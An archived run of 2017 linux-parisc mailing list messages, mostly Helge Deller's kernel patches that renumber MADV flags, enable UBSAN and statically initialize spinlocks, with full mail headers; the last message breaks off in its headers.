> diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
> index 5979745..a34ebf4 100644
> --- a/arch/parisc/include/uapi/asm/mman.h
> +++ b/arch/parisc/include/uapi/asm/mman.h
> @@ -49,16 +49,18 @@
>  #define MADV_REMOVE	9		/* remove these pages & resources */
>  #define MADV_DONTFORK	10		/* don't inherit across fork */
>  #define MADV_DOFORK	11		/* do inherit across fork */
> +#define MADV_HWPOISON	100		/* poison a page for testing */
> +#define MADV_SOFT_OFFLINE 101		/* soft offline page for testing */
>  
> -#define MADV_MERGEABLE   65		/* KSM may merge identical pages */
> -#define MADV_UNMERGEABLE 66		/* KSM may not merge identical pages */
> +#define MADV_MERGEABLE   12		/* KSM may merge identical pages */
> +#define MADV_UNMERGEABLE 13		/* KSM may not merge identical pages */
>  
> -#define MADV_HUGEPAGE	67		/* Worth backing with hugepages */
> -#define MADV_NOHUGEPAGE	68		/* Not worth backing with hugepages */
> +#define MADV_HUGEPAGE	14		/* Worth backing with hugepages */
> +#define MADV_NOHUGEPAGE	15		/* Not worth backing with hugepages */
>  
> -#define MADV_DONTDUMP   69		/* Explicity exclude from the core dump,
> +#define MADV_DONTDUMP   16		/* Explicity exclude from the core dump,
>  					   overrides the coredump filter bits */
> -#define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
> +#define MADV_DODUMP	17		/* Clear the MADV_NODUMP flag */
>  
>  /* compatibility flags */
>  #define MAP_FILE	0
> diff --git a/tools/arch/parisc/include/uapi/asm/mman.h b/tools/arch/parisc/include/uapi/asm/mman.h
> index 03d8d5b..eb4df3e 100644
> --- a/tools/arch/parisc/include/uapi/asm/mman.h
> +++ b/tools/arch/parisc/include/uapi/asm/mman.h
> @@ -1,20 +1,22 @@
>  #ifndef TOOLS_ARCH_PARISC_UAPI_ASM_MMAN_FIX_H
>  #define TOOLS_ARCH_PARISC_UAPI_ASM_MMAN_FIX_H
> -#define MADV_DODUMP	70
> -#define MADV_DOFORK	11
> -#define MADV_DONTDUMP   69
> -#define MADV_DONTFORK	10
> -#define MADV_DONTNEED   4
> -#define MADV_FREE	8
> -#define MADV_HUGEPAGE	67
> -#define MADV_MERGEABLE   65
> -#define MADV_NOHUGEPAGE	68
>  #define MADV_NORMAL     0
>  #define MADV_RANDOM     1
> -#define MADV_REMOVE	9
>  #define MADV_SEQUENTIAL 2
> -#define MADV_UNMERGEABLE 66
>  #define MADV_WILLNEED   3
> +#define MADV_DONTNEED   4
> +#define MADV_FREE	8
> +#define MADV_REMOVE	9
> +#define MADV_DONTFORK	10
> +#define MADV_DOFORK	11
> +#define MADV_HWPOISON	100
> +#define MADV_SOFT_OFFLINE 101
> +#define MADV_MERGEABLE	12
> +#define MADV_UNMERGEABLE 13
> +#define MADV_HUGEPAGE	14
> +#define MADV_NOHUGEPAGE 15
> +#define MADV_DONTDUMP	16
> +#define MADV_DODUMP	17
>  #define MAP_ANONYMOUS	0x10
>  #define MAP_DENYWRITE	0x0800
>  #define MAP_EXECUTABLE	0x1000
> @@ -36,10 +38,6 @@
>  #define PROT_READ	0x1
>  #define PROT_SEM	0x8
>  #define PROT_WRITE	0x2
> -/* MADV_HWPOISON is undefined on parisc, fix it for perf */
> -#define MADV_HWPOISON	100
> -/* MADV_SOFT_OFFLINE is undefined on parisc, fix it for perf */
> -#define MADV_SOFT_OFFLINE 101
>  /* MAP_32BIT is undefined on parisc, fix it for perf */
>  #define MAP_32BIT	0
>  /* MAP_UNINITIALIZED is undefined on parisc, fix it for perf */
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add MADV_HWPOISON and MADV_SOFT_OFFLINE
Date: Fri, 4 Aug 2017 20:07:41 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20170804180741.GA29755@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501870073 31253 195.159.176.226 (4 Aug 2017 18:07:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 18:07:53 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 20:07:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddh0h-0006ee-DT
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 20:07:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751323AbdHDSHt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 14:07:49 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:63992 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751300AbdHDSHt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 14:07:49 -0400
Original-Received: from p100.box ([193.159.17.37]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LaGJa-1dEm2b1Wc2-00m2WN; Fri, 04
 Aug 2017 20:07:43 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:IVPYZ4y+k8W7bZZKM9PgjWV8vPbc6UMZOfuN7lGSamr9EjtRPy3
 UUabPp1BOoxSVtkvnbyZc+pAW/BtbYB0dx0T8Yk2axBSdP3BLQ5LDrc14e3qfE9jntZPmIx
 pgUekiwgbc+Z2fsOV06A9ZUKb+GiMWHf8/ghAsVrj9xBiJgW68kmN46cZWI1z4e/E0JaCVD
 p5fFaPC+YBgn67qZHOTkQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zv8kmpdp/Pk=:ZMYzOEDOzrkNk9pB+fiJ+z
 WMRQQ16uNGe7oj8tj2j8kKn1/k+tr4zpUFUVO25cDWs7N0wwae9L/XG/51xmrDShc5z/nPRFm
 UXS0pPpCs0iEI44YudW9Kr2d2VNYS3Qd1puwkmxDzgGSwO4uUaWCqTHHU+FgEOuDL0RZ+/wSp
 WstX0Nh1iZr20WETZWIpnczT948r124EO4NxTTS/WByIPs46Xs4AAnPeyz1I88cTX05Av4tOQ
 UwpCzPoIaNWN/KnhIqrfShWL+jxb5zW/9I6GYM6N+gxFog2KBXyuaV6HT9r8qydIffqfJoBIo
 uTNvfa/LV0KlwwT8HZbtOWqJawO0eL5dR2lS2gleKVJjNz3gbNGkMby/tNz/lyYNY3tGWbibs
 2Zo8cZZ/HAZWqirrO/ByvCQR5+32xbNXE38AdpZ6EAciamYOigjGXWC6/fYPej5TqZnSiVSuB
 mp+rUlpZRIM8uPlv/4nU6AewSEHmXB4bKnriXugQ5L8i6lvWGQjL+jGHzNY46BCgd/pcauXPY
 kPqGcj/zm+NfwHMOug7Ek0ihEpX1eaotqu5sSY4qn8ZdZG+IH+U0mspVkrBx1M5/iBKAIY4rm
 q6uh6tCoqpZTnGPPGPiUzFChYxOa5KNoOuEC9Xy3Hb709EKR4fYheVqSv4JaqCYD2VpEUxUlu
 qLp0JNNMcIiCo/hDdJxGDIGvQt+Bns+s9JrmyKba83b5k8lw6CHDn2fj8WTxrnjzV5w4EiP/Z
 Q1qQ7BtRWiqJZEYrQC6PDipin4lRpXLGCWYzhnPxxN7oqRK/pzYtW62GX0LmgoZ5NOHvsFuS 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27626>

Add the missing MADV_HWPOISON (100) and MADV_SOFT_OFFLINE (101) defines which
are needed for an upcoming patch which adds page-deallocation for parisc.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 5979745..2e7b8c2 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -60,6 +60,9 @@
 					   overrides the coredump filter bits */
 #define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
 
+#define MADV_HWPOISON     100		/* poison a page for testing */
+#define MADV_SOFT_OFFLINE 101		/* soft offline page for testing */
+
 /* compatibility flags */
 #define MAP_FILE	0
 #define MAP_VARIABLE	0
diff --git a/tools/arch/parisc/include/uapi/asm/mman.h b/tools/arch/parisc/include/uapi/asm/mman.h
index 03d8d5b..286c0bd 100644
--- a/tools/arch/parisc/include/uapi/asm/mman.h
+++ b/tools/arch/parisc/include/uapi/asm/mman.h
@@ -36,9 +36,7 @@
 #define PROT_READ	0x1
 #define PROT_SEM	0x8
 #define PROT_WRITE	0x2
-/* MADV_HWPOISON is undefined on parisc, fix it for perf */
 #define MADV_HWPOISON	100
-/* MADV_SOFT_OFFLINE is undefined on parisc, fix it for perf */
 #define MADV_SOFT_OFFLINE 101
 /* MAP_32BIT is undefined on parisc, fix it for perf */
 #define MAP_32BIT	0
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop MADV_SPACEAVAIL, MADV_VPS_PURGE and
 MADV_VPS_INHERIT
Date: Fri, 4 Aug 2017 21:32:41 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20170804193241.GA17917@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501875175 28758 195.159.176.226 (4 Aug 2017 19:32:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 19:32:55 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 21:32:51 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddiL1-00072l-Js
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 21:32:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752033AbdHDTcw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 15:32:52 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:60780 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752011AbdHDTcv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 15:32:51 -0400
Original-Received: from p100.box ([193.159.17.37]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M0QLp-1dNHHS2dwr-00uZbN; Fri, 04
 Aug 2017 21:32:43 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:TI6epLvPcAY6iCUi8fbcyQvyZuagaKoqcJaO3P91nRDOPJf5AUn
 NLSCmEIV/a4OXAxvh7XXoC1l+VzadVquS/WGau1iBuWtmqTgTj9kYmd0QmGqM7JBGLP+5RA
 vvGHHrRaofIofbqB6yANDQHqxN0SDFt6/u0hTzpqKVzGMD5Ohi9JxydIAgzpbXE5CpXaplx
 z5gZZwzbGSUE7u4cBZ/aw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:KhpWm5rAaJA=:EMlIl4t90BiCheOiEV8mFk
 mwcvH496AFHTWOk8bK4lKOXV2xCX53YXOx9J8iTlbJk58JeAHqhuSkFWRrQRs2FMS4610HQQw
 4BWhZr3PH4z4m1JoDFVvDOehthzrcGYDzuAcd1A3SgyVgLtzsqEKd3QdyMfVCTT4g5Te2w5pD
 0VhdS8KkYCtdx9ozpQ/WeZhvG1gBhaYOFrQROLGaevegavj80ngcM4lpzfVMeOCWhvr73m5TB
 4C4MZs9Xw+UN9GQZQqco1zqSHWUs9PDtKZ5qMwS6J7XMbb+IOLDmWUkgbVFcq3QB29UvQqf0W
 uuwsd+/+msN4qDOFY47AgxzU2pid6EhOyz/lwflI5fHxEP5F3MHXJ2IpP7ocCpUh8v7A0XiJd
 FzigLA/TEXLWf/P5UKuDPzOBtWdskpqaFzORW0ozay5c+vMSzBJOAF3eyRbSX8RAXMyOZnK+G
 1C5Xi1cqrn5YZHPNjME0PnsJH7UMLh3vmK8KC54y3DJBiSjNJYlH9FWq41iQ9lvRJKKn28c2+
 rFULpQx64BhfKBN3NXuUwqn8F3DA2GBhl6ai4aHCNtVOs/M+NgMuD/7vvJDnIKSNl6UtpJtAC
 y7yXIO1mwWoU0VL0Bu97I7BWnFECHzqQfnhTvr9YVIA2mRpp7I2fi3QoN7nd7MUhVFkzVJ1na
 lSWcDkLjx1CcMYoPtBnBhFm6Ml4yHpbaVbzxK+ZXdKcWj7uHPoP76QtdfcAkJZOGQo9yOrBnz
 xyYbL28QCX2QEdI0jwST+ZvWAGYZTPKcWtIA9wInHTsLEmRJKcQn7PAxtWeuS2dyTPyhrRse 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27627
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27627>

Those aren't used or implemented anywhere in Linux.

Furthermore, MADV_SPACEAVAIL seems to be a HP-UX related flag which is
implemented as null operation in HP-UX. And since we don't support running
HP-UX binaries there is no need to keep it.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 2e7b8c2..9a9c2fe 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -40,9 +40,6 @@
 #define MADV_SEQUENTIAL 2               /* expect sequential page references */
 #define MADV_WILLNEED   3               /* will need these pages */
 #define MADV_DONTNEED   4               /* don't need these pages */
-#define MADV_SPACEAVAIL 5               /* insure that resources are reserved */
-#define MADV_VPS_PURGE  6               /* Purge pages from VM page cache */
-#define MADV_VPS_INHERIT 7              /* Inherit parents page size */
 
 /* common/generic parameters */
 #define MADV_FREE	8		/* free pages only if memory pressure */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Enable UBSAN support
Date: Fri, 4 Aug 2017 23:46:16 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20170804214616.GA9270@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501883187 31377 195.159.176.226 (4 Aug 2017 21:46:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 21:46:27 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 23:46:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddkQF-0001iV-Dr
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 23:46:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752012AbdHDVqZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 17:46:25 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50482 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751965AbdHDVqZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 17:46:25 -0400
Original-Received: from p100.box ([193.159.17.37]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LoEwL-1dBIMS3pKD-00gD2F; Fri, 04
 Aug 2017 23:46:17 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:TR9FuYFY9fgoGbtoIkrfEpKkHQ7yzJFbXmSGmbAb9hmDUHeFVGq
 D+dWRy3deZa4xMk560FZJbfIFLdww/mdapW6PcUQTGjwsVMre+9nQOHJNZZCtig+2ZrVEnI
 cYzwPjhqFeKJpxxMbRw62O7e+91TV/K6OMnO0b781C01OcX2q8EbyXARy/naoYB85ntsW/2
 eJvLd9rnwv5aTAj99+CiQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:R/X+Ql+WYx4=:9LKjW1ncrlOdhhlC5MtlXa
 OONJIWP94fi22jeITJ/Mlb3gnlCoBaraiDJq3t7r67Wh41EzxnlfeuqU0BVzkJxJhu4K0qvcw
 ymWDPWd3M6MbiETJrlTarnHT2b/XxVAOnx0ji88+g8ql9r++VBRTaBlQXglQS2hJ1+nHOQyVm
 AR/j2UNNRb6WthQ9sFEtoCcUfPVioMjyNGA9ROG6teceWo21iKCMDk7XD5R3tIi5M9tTZ34br
 pblFlcqrv0jnFmMZdwGvVTd+cNG0WpHlAZINg3WvUXmVCSJ6lFvumnkQpIpmEvk+fXgD91nGN
 qltnYfX1A2WsnInhnheOYBazEe6Gdl4y7cr/wvr5d6ilEwmAcCVbmkKVZLgKD1GqLmltAqZwB
 kvwDk55oPC0nZOn23sriREe7uQefAu8ZKBI+pkv2UqJ5j6795t2HGCX6yFZGjhIIbgcAMx9an
 kzxQ3SP47U07qn0bvDjZowr6pZxjSkuvBnelPv5OANo80n2w4fN2Z/p298HshB8Bn4nMlFcUu
 /RzXMIW470f+m+pisZJTyUGBmgbhdanQnmcJxYQ0ziPCKFGGYQo26g7VAM+Ro26DUVxjOd2Rg
 pGk6atWMDufg1hnH83fXNbUmkR8hIeVmmQBP1v5oZZfu0gWdMRFcGFECgLTnB5ezua+7R3q2f
 1eZXY1dcu19xXpkvCq9ZoDxtJhr9DunwpElCsip63AZXY+vwlZZ5+gVAdIbEs93i0OszxnvI6
 EzeQC7Xc5vExvFHQFv/Mq7lDlDAgQCixGyMZN6Vc2MGcQ9D8D9NaUsK55Ym67XHHWY6RqDky 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27628>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 7d2faf7..9db4b4f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -9,6 +9,8 @@ config PARISC
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_HAS_UBSAN_SANITIZE_ALL
+	select ARCH_WANTS_UBSAN_NO_NULL
 	select ARCH_SUPPORTS_MEMORY_FAILURE
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Static initialization of spinlocks in perf and
 unwind code
Date: Fri, 4 Aug 2017 23:54:19 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20170804215419.GA9373@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1501883669 29783 195.159.176.226 (4 Aug 2017 21:54:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 21:54:29 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 04 23:54:25 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddkY1-0004Sr-Vx
	for glpp-linux-parisc@m.gmane.org; Fri, 04 Aug 2017 23:54:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752012AbdHDVy2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 17:54:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:51259 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751685AbdHDVy1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 17:54:27 -0400
Original-Received: from p100.box ([193.159.17.37]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M4nt7-1dRiuO1z3t-00yz2d; Fri, 04
 Aug 2017 23:54:21 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:tzU3Wa7ve+x2RQMNzpkSSLtEJ/9FiBdJ5/yjqb8fuI1UhEo/liD
 7fmrNQR1HlyGnb2gkuu/Iu3hNCRj0j1Uk60r1n7vt4BHq/ERGK5vDaGc+lu/TmJYmnsd9b4
 DKULyrmNPbWTuoNyFH3mGxf9W4aeGRckr7lb9IWzQqLWGmWoPfGf4T8CzhV62ot7kWbIDQ/
 jNIRINiTj0xB77EIbxA5Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:2z7ObCFLkKA=:dYzIY0r8QGAntgUUGbpPHg
 j2CTAhiJD5kYbO5nTyVKtUF+njJDmpzFtnOvfArGpdXwskPo9VOpK54NZQ0LAtwTKOLW+mZox
 wh6aTqkyRYAu54wDG4Cl0Yn18GsK95DXy9ZgcotclzXRQniGGz2oEZEfJIokYilVc5FyWuVjF
 zOArOAvNE03zj6/Rhy/kQREx3ra0HKRY1YEy+ipcP0FUxwpzZ3k+cxV/d4iENN0PY6ByDSdNo
 MY6Ily/sZvUG5JDG4fXXIIG3P/FljytgnKkkrUK4l7Fw6RtSwaOvkqD1usu5GjTQGNS/PYrxH
 AfmVBT961jcSupaUmUYwasvyyhL0XgzSJP7GIhnyN8VTAYOm4cdyMxZvCltECyfF1mz82tklS
 41tSmr/r2FZ/Gv6tasAvddNCuAo7rZhofoVmzzvYXdvZqrmDuq3r7CwBZwk5tlYuOXwtrZ+rO
 5KC2LZMXSeLSa29LEfCqoaloInQQ2MUiAKcneoCW1Ld7Is7C9uQPdKkwnRAIMjeD54VRFARim
 JekJB8gzsPa3nZs8uT8ERSrtflqVCQrArymWT4nDytoS5lJk5RWWewnl7BOasSeC35x4g7DHE
 DgqYFRCJt52r18NGEtqLldC2pPMRjo/tlob/MGeiQoJa9mxremOPe66pZVkfS+5d62sDVXSaG
 mskEa5i/L47ki2X6Nap9mdBr8k/do0irkezwx8QdckV/Zl8xZAThr+ogrLxu6EJPWwyer/zXP
 S2CidavU2Sq/+z4QKdiu2ilzy6wKn2m2MOc1nVCHNXvZjqTO4xz6EOUI0gDCvasUhphLpxHB 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27629
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27629>

While testing UBSAN I saw this BUG:
 BUG: spinlock bad magic on CPU#0, swapper/0
in unwind code. Let's avoid that by static initialization.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index 6017a5a..08133590 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -69,7 +69,7 @@ struct rdr_tbl_ent {
 
 static int perf_processor_interface __read_mostly = UNKNOWN_INTF;
 static int perf_enabled __read_mostly;
-static spinlock_t perf_lock;
+static DEFINE_SPINLOCK(perf_lock);
 struct parisc_device *cpu_device __read_mostly;
 
 /* RDRs to write for PCX-W */
@@ -533,8 +533,6 @@ static int __init perf_init(void)
 	/* Patch the images to match the system */
     	perf_patch_images();
 
-	spin_lock_init(&perf_lock);
-
 	/* TODO: this only lets us access the first cpu.. what to do for SMP? */
 	cpu_device = per_cpu(cpu_data, 0).dev;
 	printk("Performance monitoring counters enabled for %s\n",
diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 1b73690..48dc7d4 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -34,7 +34,7 @@
 extern struct unwind_table_entry __start___unwind[];
 extern struct unwind_table_entry __stop___unwind[];
 
-static spinlock_t unwind_lock;
+static DEFINE_SPINLOCK(unwind_lock);
 /*
  * the kernel unwind block is not dynamically allocated so that
  * we can call unwind_init as early in the bootup process as 
@@ -181,8 +181,6 @@ int __init unwind_init(void)
 	start = (long)&__start___unwind[0];
 	stop = (long)&__stop___unwind[0];
 
-	spin_lock_init(&unwind_lock);

From - Thu Nov 08 21:40:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Undefined behaviour in drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
Date: Sat, 5 Aug 2017 00:12:11 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <d030f03a-0ccf-324b-32d6-002dfb408c16@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501884742 13091 195.159.176.226 (4 Aug 2017 22:12:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 22:12:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
To: Linux SCSI List <linux-scsi@vger.kernel.org>,
        "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
        linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 05 00:12:16 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddkpM-000738-49
	for glpp-linux-parisc@m.gmane.org; Sat, 05 Aug 2017 00:12:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752105AbdHDWMW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 18:12:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:61487 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
